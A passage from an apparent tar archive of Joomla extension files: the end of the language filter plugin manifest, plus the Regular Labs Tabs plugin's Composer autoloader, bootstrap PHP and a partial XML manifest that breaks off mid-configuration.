	<creationDate>July 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagefilter">languagefilter.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_languagefilter.ini</language>
		<language tag="en-GB">en-GB.plg_system_languagefilter.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="detect_browser"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE</option>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS</option>
				</field>

				<field
					name="automatic_change"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="item_associations"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ITEM_ASSOCIATIONS_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ITEM_ASSOCIATIONS_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="alternate_meta"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="xdefault"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					showon="alternate_meta:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="xdefault_language"
					type="contentlanguage"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LANGUAGE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LANGUAGE_DESC"
					default="default"
					showon="alternate_meta:1[AND]xdefault:1"
					>
					<option value="default">PLG_SYSTEM_LANGUAGEFILTER_OPTION_DEFAULT_LANGUAGE</option>
				</field>

				<field
					name="remove_default_prefix"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="lang_cookie"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_DESC"
					default="0"
					filter="integer"
					>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_OPTION_YEAR</option>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_OPTION_SESSION</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>                                                                                                                                             system/tabs/vendor/composer/ClassLoader.php                                                         0000705                 00000026064 15242051521 0015055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    http://www.php-fig.org/psr/psr-0/
 * @see    http://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
	// PSR-4
	private $prefixLengthsPsr4 = [];
	private $prefixDirsPsr4    = [];
	private $fallbackDirsPsr4  = [];

	// PSR-0
	private $prefixesPsr0     = [];
	private $fallbackDirsPsr0 = [];

	private $useIncludePath        = false;
	private $classMap              = [];
	private $classMapAuthoritative = false;
	private $missingClasses        = [];
	private $apcuPrefix;

	public function getPrefixes()
	{
		if ( ! empty($this->prefixesPsr0))
		{
			return call_user_func_array('array_merge', $this->prefixesPsr0);
		}

		return [];
	}

	public function getPrefixesPsr4()
	{
		return $this->prefixDirsPsr4;
	}

	public function getFallbackDirs()
	{
		return $this->fallbackDirsPsr0;
	}

	public function getFallbackDirsPsr4()
	{
		return $this->fallbackDirsPsr4;
	}

	public function getClassMap()
	{
		return $this->classMap;
	}

	/**
	 * @param array $classMap Class to filename map
	 */
	public function addClassMap(array $classMap)
	{
		if ($this->classMap)
		{
			$this->classMap = array_merge($this->classMap, $classMap);
		}
		else
		{
			$this->classMap = $classMap;
		}
	}

	/**
	 * Registers a set of PSR-0 directories for a given prefix, either
	 * appending or prepending to the ones previously set for this prefix.
	 *
	 * @param string       $prefix  The prefix
	 * @param array|string $paths   The PSR-0 root directories
	 * @param bool         $prepend Whether to prepend the directories
	 */
	public function add($prefix, $paths, $prepend = false)
	{
		if ( ! $prefix)
		{
			if ($prepend)
			{
				$this->fallbackDirsPsr0 = array_merge(
					(array) $paths,
					$this->fallbackDirsPsr0
				);
			}
			else
			{
				$this->fallbackDirsPsr0 = array_merge(
					$this->fallbackDirsPsr0,
					(array) $paths
				);
			}

			return;
		}

		$first = $prefix[0];
		if ( ! isset($this->prefixesPsr0[$first][$prefix]))
		{
			$this->prefixesPsr0[$first][$prefix] = (array) $paths;

			return;
		}
		if ($prepend)
		{
			$this->prefixesPsr0[$first][$prefix] = array_merge(
				(array) $paths,
				$this->prefixesPsr0[$first][$prefix]
			);
		}
		else
		{
			$this->prefixesPsr0[$first][$prefix] = array_merge(
				$this->prefixesPsr0[$first][$prefix],
				(array) $paths
			);
		}
	}

	/**
	 * Registers a set of PSR-4 directories for a given namespace, either
	 * appending or prepending to the ones previously set for this namespace.
	 *
	 * @param string       $prefix  The prefix/namespace, with trailing '\\'
	 * @param array|string $paths   The PSR-4 base directories
	 * @param bool         $prepend Whether to prepend the directories
	 *
	 * @throws \InvalidArgumentException
	 */
	public function addPsr4($prefix, $paths, $prepend = false)
	{
		if ( ! $prefix)
		{
			// Register directories for the root namespace.
			if ($prepend)
			{
				$this->fallbackDirsPsr4 = array_merge(
					(array) $paths,
					$this->fallbackDirsPsr4
				);
			}
			else
			{
				$this->fallbackDirsPsr4 = array_merge(
					$this->fallbackDirsPsr4,
					(array) $paths
				);
			}
		}
		elseif ( ! isset($this->prefixDirsPsr4[$prefix]))
		{
			// Register directories for a new namespace.
			$length = strlen($prefix);
			if ('\\' !== $prefix[$length - 1])
			{
				throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
			}
			$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
			$this->prefixDirsPsr4[$prefix]                = (array) $paths;
		}
		elseif ($prepend)
		{
			// Prepend directories for an already registered namespace.
			$this->prefixDirsPsr4[$prefix] = array_merge(
				(array) $paths,
				$this->prefixDirsPsr4[$prefix]
			);
		}
		else
		{
			// Append directories for an already registered namespace.
			$this->prefixDirsPsr4[$prefix] = array_merge(
				$this->prefixDirsPsr4[$prefix],
				(array) $paths
			);
		}
	}

	/**
	 * Registers a set of PSR-0 directories for a given prefix,
	 * replacing any others previously set for this prefix.
	 *
	 * @param string       $prefix The prefix
	 * @param array|string $paths  The PSR-0 base directories
	 */
	public function set($prefix, $paths)
	{
		if ( ! $prefix)
		{
			$this->fallbackDirsPsr0 = (array) $paths;
		}
		else
		{
			$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
		}
	}

	/**
	 * Registers a set of PSR-4 directories for a given namespace,
	 * replacing any others previously set for this namespace.
	 *
	 * @param string       $prefix The prefix/namespace, with trailing '\\'
	 * @param array|string $paths  The PSR-4 base directories
	 *
	 * @throws \InvalidArgumentException
	 */
	public function setPsr4($prefix, $paths)
	{
		if ( ! $prefix)
		{
			$this->fallbackDirsPsr4 = (array) $paths;
		}
		else
		{
			$length = strlen($prefix);
			if ('\\' !== $prefix[$length - 1])
			{
				throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
			}
			$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
			$this->prefixDirsPsr4[$prefix]                = (array) $paths;
		}
	}

	/**
	 * Turns on searching the include path for class files.
	 *
	 * @param bool $useIncludePath
	 */
	public function setUseIncludePath($useIncludePath)
	{
		$this->useIncludePath = $useIncludePath;
	}

	/**
	 * Can be used to check if the autoloader uses the include path to check
	 * for classes.
	 *
	 * @return bool
	 */
	public function getUseIncludePath()
	{
		return $this->useIncludePath;
	}

	/**
	 * Turns off searching the prefix and fallback directories for classes
	 * that have not been registered with the class map.
	 *
	 * @param bool $classMapAuthoritative
	 */
	public function setClassMapAuthoritative($classMapAuthoritative)
	{
		$this->classMapAuthoritative = $classMapAuthoritative;
	}

	/**
	 * Should class lookup fail if not found in the current class map?
	 *
	 * @return bool
	 */
	public function isClassMapAuthoritative()
	{
		return $this->classMapAuthoritative;
	}

	/**
	 * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
	 *
	 * @param string|null $apcuPrefix
	 */
	public function setApcuPrefix($apcuPrefix)
	{
		$this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null;
	}

	/**
	 * The APCu prefix in use, or null if APCu caching is not enabled.
	 *
	 * @return string|null
	 */
	public function getApcuPrefix()
	{
		return $this->apcuPrefix;
	}

	/**
	 * Registers this instance as an autoloader.
	 *
	 * @param bool $prepend Whether to prepend the autoloader or not
	 */
	public function register($prepend = false)
	{
		spl_autoload_register([$this, 'loadClass'], true, $prepend);
	}

	/**
	 * Unregisters this instance as an autoloader.
	 */
	public function unregister()
	{
		spl_autoload_unregister([$this, 'loadClass']);
	}

	/**
	 * Loads the given class or interface.
	 *
	 * @param  string $class The name of the class
	 *
	 * @return bool|null True if loaded, null otherwise
	 */
	public function loadClass($class)
	{
		if ($file = $this->findFile($class))
		{
			includeFile($file);

			return true;
		}
	}

	/**
	 * Finds the path to the file where the class is defined.
	 *
	 * @param string $class The name of the class
	 *
	 * @return string|false The path if found, false otherwise
	 */
	public function findFile($class)
	{
		// class map lookup
		if (isset($this->classMap[$class]))
		{
			return $this->classMap[$class];
		}
		if ($this->classMapAuthoritative || isset($this->missingClasses[$class]))
		{
			return false;
		}
		if (null !== $this->apcuPrefix)
		{
			$file = apcu_fetch($this->apcuPrefix . $class, $hit);
			if ($hit)
			{
				return $file;
			}
		}

		$file = $this->findFileWithExtension($class, '.php');

		// Search for Hack files if we are running on HHVM
		if (false === $file && defined('HHVM_VERSION'))
		{
			$file = $this->findFileWithExtension($class, '.hh');
		}

		if (null !== $this->apcuPrefix)
		{
			apcu_add($this->apcuPrefix . $class, $file);
		}

		if (false === $file)
		{
			// Remember that this class does not exist.
			$this->missingClasses[$class] = true;
		}

		return $file;
	}

	private function findFileWithExtension($class, $ext)
	{
		// PSR-4 lookup
		$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

		$first = $class[0];
		if (isset($this->prefixLengthsPsr4[$first]))
		{
			foreach ($this->prefixLengthsPsr4[$first] as $prefix => $length)
			{
				if (0 === strpos($class, $prefix))
				{
					foreach ($this->prefixDirsPsr4[$prefix] as $dir)
					{
						if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length)))
						{
							return $file;
						}
					}
				}
			}
		}

		// PSR-4 fallback dirs
		foreach ($this->fallbackDirsPsr4 as $dir)
		{
			if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4))
			{
				return $file;
			}
		}

		// PSR-0 lookup
		if (false !== $pos = strrpos($class, '\\'))
		{
			// namespaced class name
			$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
				. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
		}
		else
		{
			// PEAR-like class name
			$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
		}

		if (isset($this->prefixesPsr0[$first]))
		{
			foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
			{
				if (0 === strpos($class, $prefix))
				{
					foreach ($dirs as $dir)
					{
						if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0))
						{
							return $file;
						}
					}
				}
			}
		}

		// PSR-0 fallback dirs
		foreach ($this->fallbackDirsPsr0 as $dir)
		{
			if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0))
			{
				return $file;
			}
		}

		// PSR-0 include paths.
		if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0))
		{
			return $file;
		}

		return false;
	}
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
	include $file;
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            system/tabs/vendor/composer/autoload_psr4.php                                                       0000705                 00000000313 15242051521 0015426 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [
	'RegularLabs\\Plugin\\System\\Tabs\\' => [$baseDir . '/src'],
];
                                                                                                                                                                                                                                                                                                                     system/tabs/vendor/composer/installed.json                                                          0000705                 00000000003 15242051521 0015003 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       []
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/tabs/vendor/composer/autoload_real.php                                                       0000705                 00000002761 15242051521 0015472 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit984a5d895b21919c58702468b682d755
{
	private static $loader;

	public static function loadClassLoader($class)
	{
		if ('Composer\Autoload\ClassLoader' === $class)
		{
			require __DIR__ . '/ClassLoader.php';
		}
	}

	public static function getLoader()
	{
		if (null !== self::$loader)
		{
			return self::$loader;
		}

		spl_autoload_register(['ComposerAutoloaderInit984a5d895b21919c58702468b682d755', 'loadClassLoader'], true, true);
		self::$loader = $loader = new \Composer\Autoload\ClassLoader;
		spl_autoload_unregister(['ComposerAutoloaderInit984a5d895b21919c58702468b682d755', 'loadClassLoader']);

		$useStaticLoader = PHP_VERSION_ID >= 50600 && ! defined('HHVM_VERSION') && ( ! function_exists('zend_loader_file_encoded') || ! zend_loader_file_encoded());
		if ($useStaticLoader)
		{
			require_once __DIR__ . '/autoload_static.php';

			call_user_func(\Composer\Autoload\ComposerStaticInit984a5d895b21919c58702468b682d755::getInitializer($loader));
		}
		else
		{
			$map = require __DIR__ . '/autoload_namespaces.php';
			foreach ($map as $namespace => $path)
			{
				$loader->set($namespace, $path);
			}

			$map = require __DIR__ . '/autoload_psr4.php';
			foreach ($map as $namespace => $path)
			{
				$loader->setPsr4($namespace, $path);
			}

			$classMap = require __DIR__ . '/autoload_classmap.php';
			if ($classMap)
			{
				$loader->addClassMap($classMap);
			}
		}

		$loader->register(true);

		return $loader;
	}
}
               system/tabs/vendor/composer/LICENSE                                                                 0000705                 00000002063 15242051521 0013146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       
Copyright (c) 2016 Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/tabs/vendor/composer/autoload_static.php                                                     0000705                 00000001350 15242051521 0016027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit984a5d895b21919c58702468b682d755
{
	public static $prefixLengthsPsr4 = [
		'R' =>
			[
				'RegularLabs\\Plugin\\System\\Tabs\\' => 31,
			],
	];

	public static $prefixDirsPsr4 = [
		'RegularLabs\\Plugin\\System\\Tabs\\' =>
			[
				0 => __DIR__ . '/../..' . '/src',
			],
	];

	public static function getInitializer(ClassLoader $loader)
	{
		return \Closure::bind(function () use ($loader) {
			$loader->prefixLengthsPsr4 = ComposerStaticInit984a5d895b21919c58702468b682d755::$prefixLengthsPsr4;
			$loader->prefixDirsPsr4    = ComposerStaticInit984a5d895b21919c58702468b682d755::$prefixDirsPsr4;
		}, null, ClassLoader::class);
	}
}
                                                                                                                                                                                                                                                                                        system/tabs/vendor/composer/autoload_namespaces.php                                                 0000705                 00000000221 15242051521 0016653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [];
                                                                                                                                                                                                                                                                                                                                                                               system/tabs/vendor/composer/autoload_classmap.php                                                   0000705                 00000000217 15242051521 0016344 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [];
                                                                                                                                                                                                                                                                                                                                                                                 system/tabs/vendor/autoload.php                                                                     0000705                 00000000262 15242051521 0012632 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit984a5d895b21919c58702468b682d755::getLoader();
                                                                                                                                                                                                                                                                                                                                              system/tabs/tabs.php                                                                                0000705                 00000002550 15242051521 0010460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

// Do not instantiate plugin on install pages
// to prevent installation/update breaking because of potential breaking changes
if (
	in_array(JFactory::getApplication()->input->get('option'), ['com_installer', 'com_regularlabsmanager'])
	&& JFactory::getApplication()->input->get('action') != ''
)
{
	return;
}

if ( ! is_file(__DIR__ . '/vendor/autoload.php'))
{
	return;
}

require_once __DIR__ . '/vendor/autoload.php';

use RegularLabs\Plugin\System\Tabs\Plugin;

/**
 * System Plugin that places a Tabs code block into the text
 */
class PlgSystemTabs extends Plugin
{
	public $_alias       = 'tabs';
	public $_title       = 'TABS';
	public $_lang_prefix = 'TAB';

	public $_has_tags              = true;
	public $_disable_on_components = true;

	/*
	 * Below are the events that this plugin uses
	 * All handling is passed along to the parent run method
	 */
	public function onContentPrepare()
	{
		$this->run();
	}

	public function onAfterDispatch()
	{
		$this->run();
	}

	public function onAfterRender()
	{
		$this->run();
	}
}

                                                                                                                                                        system/tabs/tabs.xml                                                                                0000705                 00000027737 15242051521 0010507 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="system" method="upgrade">
	<name>plg_system_tabs</name>
	<description>PLG_SYSTEM_TABS_DESC</description>
	<version>7.2.1</version>
	<creationDate>March 2018</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<updateservers>
		<server type="extension" priority="1" name="Regular Labs - Tabs">
			https://download.regularlabs.com/updates.xml?e=tabs&amp;type=.xml
		</server>
	</updateservers>

	<files>
		<filename plugin="tabs">tabs.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
		<folder>src</folder>
		<folder>vendor</folder>
	</files>

	<media folder="media" destination="tabs">
		<folder>css</folder>
		<folder>js</folder>
		<folder>less</folder>
	</media>

	<config>
		<fields name="params" addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="description">
				<field name="@loadlanguage_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs" />
				<field name="@loadlanguage" type="rl_loadlanguage" extension="plg_system_tabs" />
				<field name="@license" type="rl_license" extension="TABS" />
				<field name="@version" type="rl_version" extension="TABS" />
				<field name="@header" type="rl_header"
					   label="TABS"
					   description="TABS_DESC"
					   url="https://www.regularlabs.com/tabs" />
			</fieldset>
			<fieldset name="basic">
				<field name="@block_styling_a" type="rl_block" start="1" label="RL_STYLING" />
				<field name="load_stylesheet" type="radio" class="btn-group" default="1"
					   label="RL_LOAD_STYLESHEET"
					   description="RL_LOAD_STYLESHEET_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="mainclass" type="text" default=""
					   label="TAB_MAIN_CLASS"
					   description="TAB_MAIN_CLASS_DESC" />
				<field name="@notice_positioning" type="rl_plaintext"
					   label="TAB_POSITIONING_HANDLES"
					   description="TAB_POSITIONING_HANDLES_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="alignment" type="radio" class="btn-group" default=""
					   label="TAB_ALIGNMENT_HANDLES"
					   description="TAB_ALIGNMENT_HANDLES_DESC">
					<option value="">RL_AUTO</option>
					<option value="left">&lt;span class="icon-reglab-paragraph-left">&lt;/span></option>
					<option value="right">&lt;span class="icon-reglab-paragraph-right">&lt;/span></option>
					<option value="center">&lt;span class="icon-reglab-paragraph-center">&lt;/span></option>
					<option value="justify">&lt;span class="icon-reglab-paragraph-justify">&lt;/span></option>
				</field>
				<field name="color_inactive_handles" type="radio" class="btn-group" default="0"
					   label="TAB_COLOR_INACTIVE_HANDLES"
					   description="TAB_COLOR_INACTIVE_HANDLES_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="outline_handles" type="radio" class="btn-group" default="1"
					   label="TAB_OUTLINE_HANDLES"
					   description="TAB_OUTLINE_HANDLES_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="outline_content" type="radio" class="btn-group" default="1"
					   label="TAB_OUTLINE_CONTENT"
					   description="TAB_OUTLINE_CONTENT_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="@block_styling_b" type="rl_block" end="1" />

				<field name="@block_behavior_a" type="rl_block" start="1" label="RL_BEHAVIOR" />
				<field name="@notice_fade" type="rl_plaintext"
					   label="TAB_FADE"
					   description="TAB_FADE_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@notice_mode" type="rl_plaintext"
					   label="TAB_MODE"
					   description="TAB_MODE_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@block_behavior_b" type="rl_block" end="1" />

				<field name="@block_scroll_a" type="rl_block" start="1" label="TAB_SCROLL" />
				<field name="@notice_scroll" type="rl_plaintext"
					   label="TAB_SCROLL"
					   description="TAB_SCROLL_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@notice_linkscroll" type="rl_plaintext"
					   label="TAB_SCROLL_LINKS"
					   description="TAB_SCROLL_LINKS_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@notice_urlscroll" type="rl_plaintext"
					   label="TAB_SCROLL_BY_URL"
					   description="TAB_SCROLL_BY_URL_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@notice_scrolloffset" type="rl_plaintext"
					   label="TAB_SCROLL_OFFSET"
					   description="TAB_SCROLL_OFFSET_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@block_scroll_b" type="rl_block" end="1" />

				<field name="@block_slideshow_a" type="rl_block" start="1" label="TAB_SLIDESHOW" />
				<field name="@notice_slideshow_timeout" type="rl_plaintext"
					   label="TAB_SLIDESHOW_TIMEOUT"
					   description="TAB_SLIDESHOW_TIMEOUT_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="@block_slideshow_b" type="rl_block" end="1" />
			</fieldset>

			<fieldset name="advanced">
				<field name="@block_tag_a" type="rl_block" start="1" label="RL_TAG_SYNTAX" />
				<field name="tag_open" type="text" size="20" default="tab"
					   label="TAB_OPENING_TAG"
					   description="TAB_OPENING_TAG_DESC" />
				<field name="tag_close" type="text" size="20" default="tabs"
					   label="TAB_CLOSING_TAG"
					   description="TAB_CLOSING_TAG_DESC" />
				<field name="tag_delimiter" type="radio" class="btn-group" size="2" default="space"
					   label="RL_TAG_SYNTAX"
					   description="TAB_TAG_SYNTAX_DESC">
					<option value="space">TAB_SYNTAX_SPACE</option>
					<option value="=">TAB_SYNTAX_IS</option>
				</field>
				<field name="tag_characters" type="list" default="{.}" class="input-small"
					   label="RL_TAG_CHARACTERS"
					   description="RL_TAG_CHARACTERS_DESC">
					<option value="{.}">{...}</option>
					<option value="[.]">[...]</option>
					<option value="{{.}}">{{...}}</option>
					<option value="[[.]]">[[...]]</option>
					<option value="[:.:]">[:...:]</option>
					<option value="[%.%]">[%...%]</option>
				</field>
				<field name="@block_tag_b" type="rl_block" end="1" />

				<field name="@notice_use_responsive_view" type="rl_plaintext"
					   label="TAB_USE_RESPONSIVE_VIEW"
					   description="TAB_USE_RESPONSIVE_VIEW_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="title_tag" type="text" size="5" class="input-mini" default="h2"
					   label="TAB_TITLE_TAG"
					   description="TAB_TITLE_TAG_DESC" />
				<field name="use_hash" type="radio" class="btn-group" default="1"
					   label="TAB_USE_HASH"
					   description="TAB_USE_HASH_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="reload_iframes" type="radio" class="btn-group" default="0"
					   label="TAB_RELOAD_IFRAMES"
					   description="TAB_RELOAD_IFRAMES_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="init_timeout" type="text" size="5" class="input-mini" default="0"
					   label="TAB_INIT_TIMEOUT"
					   description="TAB_INIT_TIMEOUT_DESC" />
				<field name="@notice_use_cookies" type="rl_plaintext"
					   label="TAB_USE_COOKIES"
					   description="TAB_USE_COOKIES_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				
				<field name="@notice_disabled_components" type="rl_plaintext"
					   label="RL_DISABLE_ON_COMPONENTS"
					   description="RL_DISABLE_ON_COMPONENTS_DESC"
					   default="RL_ONLY_AVAILABLE_IN_PRO" />
				<field name="enable_admin" type="radio" class="btn-group" default="0"
					   label="RL_ENABLE_IN_ADMIN"
					   description="RL_ENABLE_IN_ADMIN_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="place_comments" type="radio" class="btn-group" default="1"
					   label="RL_PLACE_HTML_COMMENTS"
					   description="RL_PLACE_HTML_COMMENTS_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="media_versioning" type="radio" class="btn-group" default="1"
					   label="RL_MEDIA_VERSIONING"
					   description="RL_MEDIA_VERSIONING_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="load_bootstrap_framework" type="radio" class="btn-group" default="1"
					   label="RL_LOAD_BOOTSTRAP_FRAMEWORK"
					   description="RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="@toggler_load_bootstrap_framework_a" type="rl_toggler" param="load_bootstrap_framework" value="0" />
